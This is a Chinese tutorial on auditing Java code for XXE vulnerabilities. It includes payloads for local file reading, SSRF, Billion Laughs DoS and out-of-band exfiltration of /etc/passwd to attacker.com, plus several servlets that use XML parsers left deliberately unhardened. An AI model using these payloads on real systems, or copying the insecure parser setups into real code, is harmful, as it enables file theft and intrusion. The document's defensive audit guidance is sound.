java 代码审计 - XXE
XML 是可扩展标记语言,被设计用来结构化、传输与存储数据。XML 使用标签来标记数据,这些标签可以自定义,因此 XML 具有可扩展性。
XML 文档由一个根元素开始,然后包含一系列嵌套的元素。每个元素可以包含文本、属性和子元素。标签用尖括号(<>)表示,必须成对出现,有开始标签就必须有结束标签。同时,XML 文件需要声明,例如:<xml version="1.0" encoding="UTF-8"?>。
XML 提供了一种通用的数据格式,使不同平台和应用程序能够共享和解析数据。XML 支持通过文档类型定义(DTD)或 XML Schema 定义文档的结构和约束,以确保数据的有效性和一致性。
XML 文档示例:
<?xml version="1.0" encoding="UTF-8" ?>
<email>
<to>sec@aa.com</to>
<from>code@aa.com</from>
<body>Hello, test!</body>
</email>
DTD
DTD (Document Type Definition,文档类型定义)是 XML 的一种元数据结构,用于定义 XML 文档的合法结构、元素、属性以及实体(Entity)。DTD 可以内嵌在 XML 文件中(内部 DTD),也可以通过外部引用引入(外部 DTD)。
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!-- ...其他元素定义... -->
]>
实体
实体(Entity)是 XML 的存储单元,用于定义可重用内容的一种机制。实体可以代表文本、特殊字符,甚至外部资源。实体分为内部实体和外部实体。当 XML 被解析时,实体会被替换为其定义的内容。
内部实体
内部实体(Internal Entity)定义在 DTD (Document Type Definition,文档类型定义)中,内容为字面量(字符串),不引用外部资源。
<!DOCTYPE test [
<!ENTITY author "Alice">
]>
<message>Written by &author;</message>
解析后变为:<message>Written by Alice</message>。
外部实体
外部实体(External Entity)的内容来自外部资源(如本地文件、HTTP URL等),通过SYSTEM或PUBLIC关键字引入。如果应用程序未禁用外部实体解析,攻击者可利用它读取敏感文件、发起服务器端请求伪造、DoS 攻击等。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<foo>
<data>&f;</data>
</foo>
定义了一个名为f的外部实体,它引用了本地的/etc/passwd文件。通过&f来引用该外部实体,并将其包含在<data>元素中。
当应用程序在解析 XML 输入时,若没有禁止外部实体的加载而导致加载了外部文件及代码时,便会造成 XXE 漏洞。XXE 漏洞可以通过FILE协议或是FTP协议来读取文件源码,也可以通过 XXE 漏洞来对内网进行探测或者攻击。
XXE 攻击原理
当应用程序使用不安全的 XML 解析器(如未禁用外部实体)处理用户提交的 XML 数据时,攻击者可注入恶意 DTD 和外部实体,导致:
-
任意文件读取(如 /etc/passwd、C:\Windows\win.ini)
-
服务端请求伪造(SSRF)
-
拒绝服务(如 Billion Laughs Attack)
-
带外数据泄露(Out-of-Band, OOB)
常见攻击类型
本地文件读取
通过定义指向本地文件系统的外部实体,读取服务器上的敏感文件。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
服务器端请求伪造(SSRF)
利用外部实体向内网或外部 URL 发起 HTTP 请求,探测或攻击后端系统。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254:6379">
]>
<root>&xxe;</root>
带外数据泄露(Out-of-Band, OOB)
利用参数实体(Parameter Entity)结合外部 DTD,将敏感数据外传到攻击者控制的服务器。
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<request>test</request>
evil.dtd内容(托管在攻击者服务器):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
%send;
Billion Laughs(逻辑炸弹/DoS)
利用递归实体导致内存爆炸:
<!DOCTYPE lolz [
<!ENTITY a "lol">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<root>&d;</root>
Java 中常用解析 XML 的方法
DocumentBuilderFactory
DocmentBuilder类是javax.xml.parsers.DocumentBuilderFactory类的子类,该类提供了创建 Document 对象以及解析 XML 文件的方法。
package xxe.test.testxxe;
import java.io.*;
import jakarta.servlet.http.*;
import jakarta.servlet.annotation.*;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
@WebServlet(name = "xxeServlet1", value = "/xxe-servlet1")
public class XxeServlet1 extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
// 创建DocumentBuilderFactory实例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 创建DocumentBuilder实例
DocumentBuilder db = dbf.newDocumentBuilder();
// 解析指定路径的XML文件
Document doc = db.parse(new File("/opt/javaProject/testXXE/file.xml"));
// 获取标签名为"data"的节点列表
NodeList nodes = doc.getElementsByTagName("data");
// 获取第一个节点并转换为Element对象
Element element = (Element)nodes.item(0);
// 向客户端输出HTML响应
response.getWriter().println("<html><body>");
// 输出XML文件中"data"标签的内容
response.getWriter().println(element.getTextContent());
response.getWriter().println("</body></html>");
} catch (ParserConfigurationException | SAXException e) {
throw new RuntimeException(e);
}
}
}

XMLInputFactory
XMLInputFactory类在javax.xml.stream包内,该类可以结合XMLStreamReader对象读取 XML 流,解析 XML 文件。
package xxe.test.testxxe;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import javax.xml.stream.XMLStreamReader;
import java.io.IOException;
@WebServlet(name = "xxeServlet2", value = "/xxe-servlet2")
public class XxeServlet2 extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 创建XML输入工厂实例
XMLInputFactory factory = XMLInputFactory.newInstance();
try {
// 使用请求输入流创建XML流读取器
XMLStreamReader reader = factory.createXMLStreamReader(request.getInputStream());
// 遍历XML流中的所有事件
while (reader.hasNext()) {
// 获取下一个XML事件类型
int type = reader.next();
// 如果事件类型是字符内容,则将其输出到响应中
if (type == reader.CHARACTERS) {
response.getWriter().println(reader.getText());
}
}
} catch (XMLStreamException e) {
// 将XML流异常转换为运行时异常抛出
throw new RuntimeException(e);
}
}
}

SAXParserFactory
SAXParserFactory与DocumentBuilderFactory的方式类似。
package xxe.test.testxxe;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
import java.io.IOException;
@WebServlet(name = "xxeServlet3", value = "/xxe-servlet3")
public class XxeServlet3 extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 创建SAX解析器工厂
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser;
try {
// 创建SAX解析器实例
saxParser = spf.newSAXParser();
} catch (ParserConfigurationException | SAXException e) {
throw new RuntimeException(e);
}
// 创建自定义的数据处理器来提取内容
DataHandler handler = new DataHandler();
try {
// 解析XML文件
saxParser.parse("/opt/javaProject/testXXE/file.xml", handler);
} catch (SAXException e) {
throw new RuntimeException(e);
}
// 构建HTML响应
response.getWriter().println("<html><body>");
response.getWriter().println(handler.data);
response.getWriter().println("</body></html>");
}
/**
* 自定义的SAX数据处理器
* 用于处理XML解析过程中的事件
*/
static class DataHandler extends DefaultHandler {
// 当前文本内容的构建器
public StringBuilder currentText = new StringBuilder();
// 存储解析后的数据
public String data = "";
/**
* 遇到元素开始标签时的处理方法
* @param uri 命名空间URI
* @param localName 本地名称
* @param qName 限定名称
* @param attributes 元素属性
*/
@Override
public void startElement(String uri, String localName, String qName, Attributes attributes) {
currentText.setLength(0); // 清空当前文本内容
}
/**
* 处理元素中的文本内容
* @param ch 字符数组
* @param start 开始位置
* @param length 长度
*/
@Override
public void characters(char[] ch, int start, int length) {
currentText.append(ch, start, length);
}
/**
* 遇到元素结束标签时的处理方法
* @param uri 命名空间URI
* @param localName 本地名称
* @param qName 限定名称
*/
@Override
public void endElement(String uri, String localName, String qName) {
// 如果是data元素的结束标签,则保存其内容
if ("data".equals(qName)) {
data = currentText.toString();
}
}
}
}
SAXBuilder
SAXBuilder是一个JDOM 解析器,其能够将路径中的 XML 文档解析为 Document对象。
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom2</artifactId>
<version>2.0.6.1</version>
</dependency>
package xxe.test.testxxe;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.jdom2.Document;
import org.jdom2.Element;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import java.io.IOException;
@WebServlet(name = "xxeServlet4", value = "/xxe-servlet4")
public class XxeServlet4 extends HttpServlet {
public void service(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 创建SAXBuilder实例,用于解析XML文档
SAXBuilder builder = new SAXBuilder();
try {
// 使用SAXBuilder解析请求输入流中的XML文档
Document doc = builder.build(request.getInputStream());
// 获取XML文档的根元素
Element root = doc.getRootElement();
// 将根元素下"data"子元素的文本内容输出到响应中
response.getWriter().println(root.getChildText("data"));
} catch (JDOMException e) {
// 捕获JDOM异常并转换为运行时异常抛出
throw new RuntimeException(e);
}
}
}

SAXReader
DOM4J是dom4j.org的一个开源 XML 解析包,用于将 XML 文档解析为 Dom4j 的文档对象模型(类似 DOM)。DOM4J读/写 XML 文档主要依赖于org.dom4j.io包。
<dependency>
<groupId>org.dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>2.2.0</version>
</dependency>
package xxe.test.testxxe;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import java.io.IOException;
@WebServlet(name = "xxeServlet5", value = "/xxe-servlet5")
public class XxeServlet5 extends HttpServlet {
public void service(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 创建SAXReader对象,用于解析XML
SAXReader reader = new SAXReader();
Document document;
try {
// 从请求输入流中读取并解析XML文档
document = reader.read(request.getInputStream());
} catch (DocumentException e) {
// 如果解析过程中发生异常,抛出运行时异常
throw new RuntimeException(e);
}
Element root = document.getRootElement(); // 获取XML文档的根元素
// 获取根元素下名为"data"的元素的文本内容
String data = root.elementText("data");
// 将获取到的数据写入响应输出流,返回给客户端
response.getWriter().write(data);
}
}
Digester
Digester是 Apache Commons Digester库提供的一个基于规则(Rule-based)的 XML 解析工具,底层使用 SAX 解析器。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-digester3</artifactId>
<version>3.2</version>
</dependency>
package xxe.test.testxxe;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.commons.digester3.Digester;
import org.xml.sax.SAXException;
import java.io.IOException;
@WebServlet(name = "xxeServlet6", value = "/xxe-servlet6")
public class XxeServlet6 extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 创建Digester实例,用于解析XML
Digester digester = new Digester();
// 设置当解析XML元素"foo"时创建DataContainer对象
digester.addObjectCreate("foo", DataContainer.class);
// 设置当解析XML元素"foo/data"时调用DataContainer的setData方法
digester.addCallMethod("foo/data", "setData", 0);
try {
// 使用Digester解析请求输入流中的XML数据
DataContainer result = digester.parse(request.getInputStream());
// 将解析结果写入响应
response.getWriter().println(result.getData());
} catch (SAXException e) {
// 处理SAX解析异常
throw new RuntimeException(e);
}
}
/**
* 内部静态类,用于存储解析后的数据
*/
public static class DataContainer {
private String data; // 存储数据的字段
// 获取数据的方法
public String getData() {return data;}
// 设置数据的方法
public void setData(String data) {this.data = data;}
}
}
TransformerFactory
XSLT支持嵌入外部实体。
<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<result>&xxe;</result>
</xsl:template>
</xsl:stylesheet>
package xxe.test.testxxe;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import javax.xml.transform.*;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.*;
@WebServlet(name = "xxeServlet7", value = "/xxe-servlet7")
public class XxeServlet7 extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 1. 正确读取请求体(XSL 内容)
StringBuilder sb = new StringBuilder();
try (BufferedReader reader = request.getReader()) {
String line;
while ((line = reader.readLine()) != null) {
sb.append(line);
}
}
String xslContent = sb.toString();
// 2. 创建TransformerFactory
TransformerFactory factory = TransformerFactory.newInstance();
// 3. 创建 Transformer
Transformer transformer;
try {
transformer = factory.newTransformer(new StreamSource(new StringReader(xslContent)));
} catch (TransformerConfigurationException e) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid XSL: " + e.getMessage());
return;
}
// 4. 执行转换(使用固定 XML 源)
String xml = "<foo/>";
StringWriter writer = new StringWriter();
try {
transformer.transform(
new StreamSource(new StringReader(xml)),
new StreamResult(writer)
);
} catch (TransformerException e) {
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Transformation failed: " + e.getMessage());
return;
}
// 5. 输出结果
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().write(writer.toString());
}
}
审计要点
在代码审计中,搜索以下关键词:
-
DocumentBuilderFactory.newInstance()
-
newDocumentBuilder()
-
.parse(
-
SAXParserFactory.newInstance()
-
newSAXParser()
-
XMLInputFactory.newInstance()
-
.createXMLStreamReader(
-
XMLStreamReader
-
XMLStreamReader.CHARACTERS
-
XMLReaderFactory.createXMLReader();
-
new SAXBuilder()
-
SAXBuilder builder = new SAXBuilder();
-
builder.build(
-
new SAXReader()
-
new Digester()
-
TransformerFactory.newInstance()
-
newTransformer(
-
transform(
然后检查是否设置了以下任一安全特性:
-
disallow-doctype-decl = true
或同时禁用:
-
external-general-entities = false
-
external-parameter-entities = false
-
load-external-dtd = false
更多推荐



所有评论(0)